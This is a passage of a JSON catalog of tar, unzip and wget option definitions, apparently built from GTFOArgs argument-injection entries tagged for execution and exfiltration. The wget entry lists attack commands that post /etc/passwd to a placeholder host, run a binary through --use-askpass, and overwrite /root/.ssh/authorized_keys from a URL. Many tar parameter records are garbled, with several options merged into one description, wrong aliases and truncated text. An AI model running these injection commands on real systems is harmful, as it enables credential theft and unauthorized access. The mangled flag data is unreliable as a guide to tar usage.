        "description": "get names to extract or create from FILE",
        "aliases": [
          "-T",
          "--files-from"
        ],
        "flag": "-T"
      },
      {
        "name": "flag-o",
        "template_key": "flag-o",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "when creating, same as --old-archive; when",
        "aliases": [
          "-o"
        ],
        "flag": "-o"
      },
      {
        "name": "force-local",
        "template_key": "force-local",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "archive file is local even if it has a colon",
        "aliases": [
          "--force-local"
        ],
        "flag": "--force-local"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create archive of the given format",
        "aliases": [
          "-H",
          "--format"
        ],
        "flag": "-H"
      },
      {
        "name": "format-2",
        "template_key": "format-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-f",
          "-b",
          "--format",
          "--quoting-style",
          "--rmt-command"
        ],
        "flag": "-f"
      },
      {
        "name": "full_time",
        "type": "boolean",
        "required": false,
        "description": "print file time to its full resolution",
        "aliases": [
          "--full-time"
        ],
        "flag": "--full-time"
      },
      {
        "name": "group",
        "template_key": "group",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "force NAME as group for added files",
        "aliases": [
          "--group"
        ],
        "flag": "--group"
      },
      {
        "name": "group-map",
        "template_key": "group-map",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "use FILE to map file owner GIDs and names",
        "aliases": [
          "--group-map"
        ],
        "flag": "--group-map"
      },
      {
        "name": "gzip",
        "template_key": "gzip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through gzip",
        "aliases": [
          "-z",
          "--gzip",
          "--gunzip",
          "--ungzip"
        ],
        "flag": "-z"
      },
      {
        "name": "hard-dereference",
        "template_key": "hard-dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow hard links; archive and dump the files they",
        "aliases": [
          "--hard-dereference"
        ],
        "flag": "--hard-dereference"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "give this help list",
        "aliases": [
          "-?",
          "--help"
        ],
        "flag": "-?"
      },
      {
        "name": "hole-detection",
        "template_key": "hole-detection",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--ignore-failed-read do not exit with nonzero on unreadable files --level=NUMBER dump level for created listed-incremental archive --no-check-device do not check device numbers when creating incremental archives --no-seek archive is not seekable",
        "aliases": [
          "--hole-detection"
        ],
        "flag": "--hole-detection"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore case",
        "aliases": [
          "--ignore-case"
        ],
        "flag": "--ignore-case"
      },
      {
        "name": "ignore-command-error",
        "template_key": "ignore-command-error",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--no-ignore-command-error treat non-zero exit codes of children as error",
        "aliases": [
          "--ignore-command-error"
        ],
        "flag": "--ignore-command-error"
      },
      {
        "name": "ignore-zeros",
        "template_key": "ignore-zeros",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore zeroed blocks in archive (means EOF)",
        "aliases": [
          "-i",
          "--ignore-zeros"
        ],
        "flag": "-i"
      },
      {
        "name": "ignore_failed_read",
        "type": "boolean",
        "required": false,
        "description": "do not exit with nonzero on unreadable files",
        "aliases": [
          "--ignore-failed-read"
        ],
        "flag": "--ignore-failed-read"
      },
      {
        "name": "incremental",
        "template_key": "incremental",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "handle old GNU-format incremental backup",
        "aliases": [
          "-G",
          "--incremental"
        ],
        "flag": "-G"
      },
      {
        "name": "index_file",
        "type": "boolean",
        "required": false,
        "description": "send verbose output to FILE",
        "aliases": [
          "--index-file"
        ],
        "flag": "--index-file"
      },
      {
        "name": "info-script",
        "template_key": "info-script",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "run script at end of each tape (implies -M)",
        "aliases": [
          "-F",
          "--info-script",
          "--new-volume-script"
        ],
        "flag": "-F"
      },
      {
        "name": "interactive",
        "template_key": "interactive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ask for confirmation for every action",
        "aliases": [
          "-w",
          "--interactive",
          "--confirmation"
        ],
        "flag": "-w"
      },
      {
        "name": "keep-directory-symlink",
        "template_key": "keep-directory-symlink",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve existing symlinks to directories when",
        "aliases": [
          "--keep-directory-symlink"
        ],
        "flag": "--keep-directory-symlink"
      },
      {
        "name": "keep-newer-files",
        "template_key": "keep-newer-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't replace existing files that are newer than",
        "aliases": [
          "--keep-newer-files"
        ],
        "flag": "--keep-newer-files"
      },
      {
        "name": "keep-old-files",
        "template_key": "keep-old-files",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't replace existing files when extracting",
        "aliases": [
          "-k",
          "--keep-old-files"
        ],
        "flag": "-k"
      },
      {
        "name": "label",
        "template_key": "label",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create archive with volume name TEXT; at",
        "aliases": [
          "-V",
          "--label"
        ],
        "flag": "-V"
      },
      {
        "name": "list",
        "template_key": "list",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list the contents of an archive",
        "aliases": [
          "-t",
          "--list"
        ],
        "flag": "-t"
      },
      {
        "name": "listed-incremental",
        "template_key": "listed-incremental",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "handle new GNU-format incremental backup",
        "aliases": [
          "-g",
          "--listed-incremental"
        ],
        "flag": "-g"
      },
      {
        "name": "lzip",
        "template_key": "lzip",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through lzip",
        "aliases": [
          "--lzip"
        ],
        "flag": "--lzip"
      },
      {
        "name": "lzma",
        "template_key": "lzma",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through xz",
        "aliases": [
          "--lzma"
        ],
        "flag": "--lzma"
      },
      {
        "name": "lzop",
        "template_key": "lzop",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through lzop",
        "aliases": [
          "--lzop"
        ],
        "flag": "--lzop"
      },
      {
        "name": "mode",
        "template_key": "mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "force (symbolic) mode CHANGES for added files",
        "aliases": [
          "--mode"
        ],
        "flag": "--mode"
      },
      {
        "name": "mtime",
        "template_key": "mtime",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set mtime for added files from DATE-OR-FILE",
        "aliases": [
          "-O",
          "-F",
          "--mtime"
        ],
        "flag": "-O"
      },
      {
        "name": "multi-volume",
        "template_key": "multi-volume",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "create/list/extract multi-volume archive",
        "aliases": [
          "-M",
          "--multi-volume"
        ],
        "flag": "-M"
      },
      {
        "name": "newer",
        "template_key": "newer",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only store files newer than DATE-OR-FILE --one-file-system stay in local file system when creating archive",
        "aliases": [
          "-N",
          "-O",
          "-F",
          "-O",
          "-F",
          "--newer",
          "--after-date"
        ],
        "flag": "-N"
      },
      {
        "name": "newer_mtime",
        "type": "boolean",
        "required": false,
        "description": "compare date and time when data changed only",
        "aliases": [
          "--newer-mtime"
        ],
        "flag": "--newer-mtime"
      },
      {
        "name": "no-acls",
        "template_key": "no-acls",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the POSIX ACLs support",
        "aliases": [
          "--no-acls"
        ],
        "flag": "--no-acls"
      },
      {
        "name": "no-anchored",
        "template_key": "no-anchored",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "patterns match after any '/' (default for",
        "aliases": [
          "--no-anchored"
        ],
        "flag": "--no-anchored"
      },
      {
        "name": "no-auto-compress",
        "template_key": "no-auto-compress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not use archive suffix to determine the",
        "aliases": [
          "--no-auto-compress"
        ],
        "flag": "--no-auto-compress"
      },
      {
        "name": "no-delay-directory-restore",
        "template_key": "no-delay-directory-restore",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "cancel the effect of --delay-directory-restore option --no-same-owner extract files as yourself (default for ordinary users) --no-same-permissions apply the user's umask when extracting permissions from the archive (default for ordinary users) --numeric-owner always use numbers for user/group names --owner=NAME force NAME as owner for added files --owner-map=FILE use FILE to map file owner UIDs and names",
        "aliases": [
          "--no-delay-directory-restore"
        ],
        "flag": "--no-delay-directory-restore"
      },
      {
        "name": "no-ignore-case",
        "template_key": "no-ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "case sensitive matching (default)",
        "aliases": [
          "--no-ignore-case"
        ],
        "flag": "--no-ignore-case"
      },
      {
        "name": "no-overwrite-dir",
        "template_key": "no-overwrite-dir",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve metadata of existing directories",
        "aliases": [
          "--no-overwrite-dir"
        ],
        "flag": "--no-overwrite-dir"
      },
      {
        "name": "no-quote-chars",
        "template_key": "no-quote-chars",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable quoting for characters from STRING",
        "aliases": [
          "--no-quote-chars"
        ],
        "flag": "--no-quote-chars"
      },
      {
        "name": "no-selinux",
        "template_key": "no-selinux",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable the SELinux context support",
        "aliases": [
          "--no-selinux"
        ],
        "flag": "--no-selinux"
      },
      {
        "name": "no-wildcards",
        "template_key": "no-wildcards",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "verbatim string matching",
        "aliases": [
          "--no-wildcards"
        ],
        "flag": "--no-wildcards"
      },
      {
        "name": "no-wildcards-match-slash",
        "template_key": "no-wildcards-match-slash",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "wildcards do not match '/'",
        "aliases": [
          "--no-wildcards-match-slash"
        ],
        "flag": "--no-wildcards-match-slash"
      },
      {
        "name": "no-xattrs",
        "template_key": "no-xattrs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Disable extended attributes support",
        "aliases": [
          "--no-xattrs"
        ],
        "flag": "--no-xattrs"
      },
      {
        "name": "no_check_device",
        "type": "boolean",
        "required": false,
        "description": "do not check device numbers when creating",
        "aliases": [
          "--no-check-device"
        ],
        "flag": "--no-check-device"
      },
      {
        "name": "no_ignore_command_error",
        "type": "boolean",
        "required": false,
        "description": "exit codes of children as",
        "aliases": [
          "--no-ignore-command-error",
          "-zero"
        ],
        "flag": "-zero"
      },
      {
        "name": "no_null",
        "type": "boolean",
        "required": false,
        "description": "option",
        "aliases": [
          "--no-null",
          "--null"
        ],
        "flag": "--null"
      },
      {
        "name": "no_recursion",
        "type": "boolean",
        "required": false,
        "description": "avoid descending automatically in directories",
        "aliases": [
          "--no-recursion"
        ],
        "flag": "--no-recursion"
      },
      {
        "name": "no_same_owner",
        "type": "boolean",
        "required": false,
        "description": "extract files as yourself (default for ordinary",
        "aliases": [
          "--no-same-owner"
        ],
        "flag": "--no-same-owner"
      },
      {
        "name": "no_same_permissions",
        "type": "boolean",
        "required": false,
        "description": "apply the user's umask when extracting permissions",
        "aliases": [
          "--no-same-permissions"
        ],
        "flag": "--no-same-permissions"
      },
      {
        "name": "no_seek",
        "type": "boolean",
        "required": false,
        "description": "archive is not seekable",
        "aliases": [
          "--no-seek"
        ],
        "flag": "--no-seek"
      },
      {
        "name": "no_unquote",
        "type": "boolean",
        "required": false,
        "description": "do not unquote input file or member names",
        "aliases": [
          "--no-unquote"
        ],
        "flag": "--no-unquote"
      },
      {
        "name": "no_verbatim_files_from",
        "type": "boolean",
        "required": false,
        "description": "treats file names starting with dash as",
        "aliases": [
          "--no-verbatim-files-from",
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "null",
        "type": "boolean",
        "required": false,
        "description": "names; implies",
        "aliases": [
          "--null",
          "-T",
          "-terminated"
        ],
        "flag": "-T"
      },
      {
        "name": "numeric_owner",
        "type": "boolean",
        "required": false,
        "description": "always use numbers for user/group names",
        "aliases": [
          "--numeric-owner"
        ],
        "flag": "--numeric-owner"
      },
      {
        "name": "occurrence",
        "template_key": "occurrence",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "in the archive; this option is valid only in conjunction with one of the subcommands --delete, --diff, --extract or --list and when a list of files is given either on the command line or via the -T option; NUMBER defaults to 1 --sparse-version=MAJOR[.MINOR] set version of the sparse format to use (implies --sparse)",
        "aliases": [
          "--occurrence"
        ],
        "flag": "--occurrence"
      },
      {
        "name": "old-archive",
        "template_key": "old-archive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "same as --format=v7 --pax-option=keyword[[:]=value][,keyword[[:]=value]]... control pax keywords --posix same as --format=posix",
        "aliases": [
          "--old-archive",
          "--portability"
        ],
        "flag": "--old-archive"
      },
      {
        "name": "one-top-level",
        "template_key": "one-top-level",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "extracted --overwrite overwrite existing files when extracting --overwrite-dir overwrite metadata of existing directories when extracting (default) --recursive-unlink empty hierarchies prior to extracting directory --remove-files remove files after adding them to the archive --skip-old-files don't replace existing files when extracting, silently skip over them",
        "aliases": [
          "--one-top-level"
        ],
        "flag": "--one-top-level"
      },
      {
        "name": "one_file_system",
        "type": "boolean",
        "required": false,
        "description": "stay in local file system when creating archive",
        "aliases": [
          "--one-file-system"
        ],
        "flag": "--one-file-system"
      },
      {
        "name": "overwrite",
        "type": "boolean",
        "required": false,
        "description": "overwrite existing files when extracting",
        "aliases": [
          "--overwrite"
        ],
        "flag": "--overwrite"
      },
      {
        "name": "overwrite_dir",
        "type": "boolean",
        "required": false,
        "description": "overwrite metadata of existing directories when",
        "aliases": [
          "--overwrite-dir"
        ],
        "flag": "--overwrite-dir"
      },
      {
        "name": "owner_map",
        "type": "boolean",
        "required": false,
        "description": "use FILE to map file owner UIDs and names",
        "aliases": [
          "--owner-map"
        ],
        "flag": "--owner-map"
      },
      {
        "name": "pax_option",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--pax-option"
        ],
        "flag": "--pax-option"
      },
      {
        "name": "posix",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--posix",
          "--format"
        ],
        "flag": "--posix"
      },
      {
        "name": "preserve-order",
        "template_key": "preserve-order",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "member arguments are listed in the same order as the files in the archive",
        "aliases": [
          "-s",
          "--preserve-order",
          "--same-order"
        ],
        "flag": "-s"
      },
      {
        "name": "preserve-permissions",
        "template_key": "preserve-permissions",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "extract information about file permissions (default for superuser) --same-owner try extracting files with the same ownership as exists in the archive (default for superuser) --sort=ORDER directory sorting order: none (default), name or inode",
        "aliases": [
          "-p",
          "--preserve-permissions",
          "--same-permissions"
        ],
        "flag": "-p"
      },
      {
        "name": "quote-chars",
        "template_key": "quote-chars",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "additionally quote characters from STRING",
        "aliases": [
          "--quote-chars"
        ],
        "flag": "--quote-chars"
      },
      {
        "name": "quoting-style",
        "template_key": "quoting-style",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "values",
        "aliases": [
          "--quoting-style"
        ],
        "flag": "--quoting-style"
      },
      {
        "name": "read-full-records",
        "template_key": "read-full-records",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "reblock as we read (for 4.2BSD pipes)",
        "aliases": [
          "-B",
          "--read-full-records"
        ],
        "flag": "-B"
      },
      {
        "name": "record-size",
        "template_key": "record-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "NUMBER of bytes per record, multiple of 512",
        "aliases": [
          "--record-size"
        ],
        "flag": "--record-size"
      },
      {
        "name": "recursion",
        "type": "boolean",
        "required": false,
        "description": "recurse into directories (default)",
        "aliases": [
          "--recursion"
        ],
        "flag": "--recursion"
      },
      {
        "name": "recursive_unlink",
        "type": "boolean",
        "required": false,
        "description": "empty hierarchies prior to extracting directory",
        "aliases": [
          "--recursive-unlink"
        ],
        "flag": "--recursive-unlink"
      },
      {
        "name": "remove_files",
        "type": "boolean",
        "required": false,
        "description": "remove files after adding them to the archive",
        "aliases": [
          "--remove-files"
        ],
        "flag": "--remove-files"
      },
      {
        "name": "restrict",
        "template_key": "restrict",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable use of some potentially harmful options",
        "aliases": [
          "--restrict"
        ],
        "flag": "--restrict"
      },
      {
        "name": "rmt-command",
        "template_key": "rmt-command",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--rsh-command=COMMAND use remote COMMAND instead of rsh --volno-file=FILE use/update the volume number in FILE",
        "aliases": [
          "--rmt-command"
        ],
        "flag": "--rmt-command"
      },
      {
        "name": "rsh-command",
        "template_key": "rsh-command",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--rsh-command"
        ],
        "flag": "--rsh-command"
      },
      {
        "name": "same_owner",
        "type": "boolean",
        "required": false,
        "description": "try extracting files with the same ownership as",
        "aliases": [
          "--same-owner"
        ],
        "flag": "--same-owner"
      },
      {
        "name": "seek",
        "template_key": "seek",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "archive is seekable",
        "aliases": [
          "-n",
          "--seek"
        ],
        "flag": "-n"
      },
      {
        "name": "selinux",
        "template_key": "selinux",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable the SELinux context support",
        "aliases": [
          "--selinux"
        ],
        "flag": "--selinux"
      },
      {
        "name": "show-defaults",
        "template_key": "show-defaults",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show tar defaults",
        "aliases": [
          "--show-defaults"
        ],
        "flag": "--show-defaults"
      },
      {
        "name": "show-omitted-dirs",
        "template_key": "show-omitted-dirs",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "when listing or extracting, list each directory",
        "aliases": [
          "--show-omitted-dirs"
        ],
        "flag": "--show-omitted-dirs"
      },
      {
        "name": "show-snapshot-field-ranges",
        "template_key": "show-snapshot-field-ranges",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show valid ranges for snapshot-file fields --show-transformed-names, --show-stored-names show file or archive names after transformation --totals[=SIGNAL] print total bytes after processing the archive; with an argument - print total bytes when this SIGNAL is delivered; Allowed signals are: SIGHUP, SIGQUIT, SIGINT, SIGUSR1 and SIGUSR2; the names without SIG prefix are also accepted --utc print file modification times in UTC",
        "aliases": [
          "--show-snapshot-field-ranges"
        ],
        "flag": "--show-snapshot-field-ranges"
      },
      {
        "name": "show_transformed_names",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--show-transformed-names",
          "--show-stored-names"
        ],
        "flag": "--show-stored-names"
      },
      {
        "name": "skip_old_files",
        "type": "boolean",
        "required": false,
        "description": "don't replace existing files when extracting,",
        "aliases": [
          "--skip-old-files"
        ],
        "flag": "--skip-old-files"
      },
      {
        "name": "sparse",
        "template_key": "sparse",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "handle sparse files efficiently",
        "aliases": [
          "-S",
          "--sparse"
        ],
        "flag": "-S"
      },
      {
        "name": "sparse_version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--sparse-version"
        ],
        "flag": "--sparse-version"
      },
      {
        "name": "starting-file",
        "template_key": "starting-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "begin at member MEMBER-NAME when reading the archive --newer-mtime=DATE compare date and time when data changed only",
        "aliases": [
          "-K",
          "-N",
          "--starting-file"
        ],
        "flag": "-K"
      },
      {
        "name": "strip-components",
        "template_key": "strip-components",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "strip NUMBER leading components from file",
        "aliases": [
          "--strip-components"
        ],
        "flag": "--strip-components"
      },
      {
        "name": "suffix",
        "template_key": "suffix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "backup before removal, override usual suffix ('~'",
        "aliases": [
          "--suffix"
        ],
        "flag": "--suffix"
      },
      {
        "name": "tape-length",
        "template_key": "tape-length",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "change tape after writing NUMBER x 1024 bytes",
        "aliases": [
          "-L",
          "--tape-length"
        ],
        "flag": "-L"
      },
      {
        "name": "test-label",
        "template_key": "test-label",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "test the archive volume label and exit",
        "aliases": [
          "--test-label"
        ],
        "flag": "--test-label"
      },
      {
        "name": "to-command",
        "template_key": "to-command",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "pipe extracted files to another program",
        "aliases": [
          "--to-command"
        ],
        "flag": "--to-command"
      },
      {
        "name": "to-stdout",
        "template_key": "to-stdout",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "extract files to standard output",
        "aliases": [
          "-O",
          "--to-stdout"
        ],
        "flag": "-O"
      },
      {
        "name": "totals",
        "type": "boolean",
        "required": false,
        "description": "print total bytes after processing the archive;",
        "aliases": [
          "--totals"
        ],
        "flag": "--totals"
      },
      {
        "name": "touch",
        "template_key": "touch",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't extract file modified time",
        "aliases": [
          "-m",
          "--touch"
        ],
        "flag": "-m"
      },
      {
        "name": "transform",
        "template_key": "transform",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use sed replace EXPRESSION to transform file names",
        "aliases": [
          "--transform",
          "--xform"
        ],
        "flag": "--xform"
      },
      {
        "name": "unlink-first",
        "template_key": "unlink-first",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "remove each file prior to extracting over it",
        "aliases": [
          "-U",
          "--unlink-first"
        ],
        "flag": "-U"
      },
      {
        "name": "unquote",
        "template_key": "unquote",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "unquote input file or member names (default)",
        "aliases": [
          "--unquote"
        ],
        "flag": "--unquote"
      },
      {
        "name": "update",
        "template_key": "update",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "only append files newer than copy in archive",
        "aliases": [
          "-u",
          "--update"
        ],
        "flag": "-u"
      },
      {
        "name": "usage",
        "template_key": "usage",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "give a short usage message",
        "aliases": [
          "--usage"
        ],
        "flag": "--usage"
      },
      {
        "name": "use-compress-program",
        "template_key": "use-compress-program",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter through PROG (must accept -d)",
        "aliases": [
          "-I",
          "--use-compress-program"
        ],
        "flag": "-I"
      },
      {
        "name": "utc",
        "type": "boolean",
        "required": false,
        "description": "print file modification times in UTC",
        "aliases": [
          "--utc"
        ],
        "flag": "--utc"
      },
      {
        "name": "verbatim-files-from",
        "template_key": "verbatim-files-from",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "handling)",
        "aliases": [
          "-T",
          "--verbatim-files-from"
        ],
        "flag": "-T"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "verbosely list files processed",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "verify",
        "template_key": "verify",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "attempt to verify the archive after writing it",
        "aliases": [
          "-W",
          "--verify"
        ],
        "flag": "-W"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print program version",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "volno_file",
        "type": "boolean",
        "required": false,
        "description": "use/update the volume number in FILE",
        "aliases": [
          "--volno-file"
        ],
        "flag": "--volno-file"
      },
      {
        "name": "warning",
        "template_key": "warning",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "warning control",
        "aliases": [
          "--warning"
        ],
        "flag": "--warning"
      },
      {
        "name": "wildcards",
        "template_key": "wildcards",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use wildcards (default for exclusion)",
        "aliases": [
          "--wildcards"
        ],
        "flag": "--wildcards"
      },
      {
        "name": "wildcards-match-slash",
        "template_key": "wildcards-match-slash",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "wildcards match '/' (default for exclusion)",
        "aliases": [
          "--wildcards-match-slash"
        ],
        "flag": "--wildcards-match-slash"
      },
      {
        "name": "xattrs",
        "template_key": "xattrs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable extended attributes support",
        "aliases": [
          "--xattrs"
        ],
        "flag": "--xattrs"
      },
      {
        "name": "xattrs-exclude",
        "template_key": "xattrs-exclude",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--xattrs-include=MASK specify the include pattern for xattr keys",
        "aliases": [
          "--xattrs-exclude"
        ],
        "flag": "--xattrs-exclude"
      },
      {
        "name": "xattrs_include",
        "type": "boolean",
        "required": false,
        "description": "specify the include pattern for xattr keys",
        "aliases": [
          "--xattrs-include"
        ],
        "flag": "--xattrs-include"
      },
      {
        "name": "xz",
        "template_key": "xz",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through xz",
        "aliases": [
          "-J",
          "--xz"
        ],
        "flag": "-J"
      },
      {
        "name": "zstd",
        "template_key": "zstd",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "filter the archive through zstd",
        "aliases": [
          "--zstd"
        ],
        "flag": "--zstd"
      }
    ],
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/tar/"
      }
    ],
    "techniques": [
      "execution",
      "exfiltration",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# unzip\n\nGTFOArgs entry for unzip. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-unzip.md",
    "capabilities": [
      "system.file.write",
      "system.file.read"
    ],
    "description": "Argument injection via unzip",
    "examples": [
      {
        "description": "Can be used to change the location the file is unzipped. In this example, the files are unzipped to /root/.",
        "command": "unzip -d /root/ archive.zip -d /tmp/ "
      },
      {
        "description": "Can be used to read locate archives. The contents of the files and the filenames are shown.",
        "command": "unzip -c archive.zip "
      },
      {
        "description": "Can be used to read locate archives. The contents of the files are shown.",
        "command": "unzip -p archive.zip "
      }
    ],
    "execution": {
      "template": "unzip",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "local",
      "stealth"
    ],
    "id": "argument-injection-unzip",
    "name": "unzip",
    "namespace": "argument:injection:unzip",
    "platforms": [
      "cross-platform"
    ],
    "references": [
      {
        "label": "GTFOArgs",
        "url": "https://gtfoargs.github.io/gtfoargs/unzip/"
      }
    ],
    "techniques": [
      "exfiltration",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# wget\n\nGTFOArgs entry for wget. This binary can be used to inject arguments for execution, file operations, or other capabilities.\n",
    "_source": "argument-injection-wget.md",
    "capabilities": [
      "security.execution.command",
      "network.transfer.upload",
      "system.file.read",
      "system.file.write",
      "network.transfer.download"
    ],
    "description": "Argument injection via wget",
    "examples": [
      {
        "description": "Can be used to execute any command or file on a system, but without any arguments, and without stdout/stderr. This can be useful if you are able to write an executable to the server beforehand. The example here invokes /sbin/reboot.",
        "command": "wget --use-askpass=/sbin/reboot http://0/ "
      },
      {
        "description": "Send a local file to a remote server in a POST request. Note that the file will be sent as-is.",
        "command": "wget --post-file=/etc/passwd http://0/ "
      },
      {
        "description": "Read local files by importing the file as URIs to be retrieved. The content of the file will be displayed as error messages.",
        "command": "wget --input-file=/etc/passwd http://0/ "
      },
      {
        "description": "Reads local data and writes the output to a file. This is only suitable for displaying non-binary files, as the output is an error-log.",
        "command": "wget --input-file=/etc/passwd --output-file=/tmp/passwd.txt "
      },
      {
        "description": "Downloads a remote file via an HTTP GET request and saves it to a specific location.",
        "command": "wget --output-document=/root/.ssh/authorized_keys http://0/ "
      }
    ],
    "execution": {
      "template": "wget",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdin",
      "stealth"
    ],
    "id": "argument-injection-wget",
    "name": "wget",
    "namespace": "argument:injection:wget",
    "parameters": [
      {
        "name": "accept",
        "template_key": "accept",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of accepted extensions",
        "aliases": [
          "-A",
          "--accept"
        ],
        "flag": "-A"
      },
      {
        "name": "accept-regex",
        "template_key": "accept-regex",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "regex matching accepted URLs",
        "aliases": [
          "--accept-regex"
        ],
        "flag": "--accept-regex"
      },
      {
        "name": "adjust-extension",
        "template_key": "adjust-extension",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "save HTML/CSS documents with proper extensions",
        "aliases": [
          "-E",
          "--adjust-extension"
        ],
        "flag": "-E"
      },
      {
        "name": "append-output",
        "template_key": "append-output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "append messages to FILE",
        "aliases": [
          "-a",
          "--append-output"
        ],
        "flag": "-a"
      },
      {
        "name": "ask-password",
        "template_key": "ask-password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prompt for passwords",
        "aliases": [
          "--ask-password"
        ],
        "flag": "--ask-password"
      },
      {
        "name": "auth-no-challenge",
        "template_key": "auth-no-challenge",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "send Basic HTTP authentication information",
        "aliases": [
          "--auth-no-challenge"
        ],
        "flag": "--auth-no-challenge"
      },
      {
        "name": "background",
        "template_key": "background",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "go to background after startup",
        "aliases": [
          "-b",
          "--background"
        ],
        "flag": "-b"
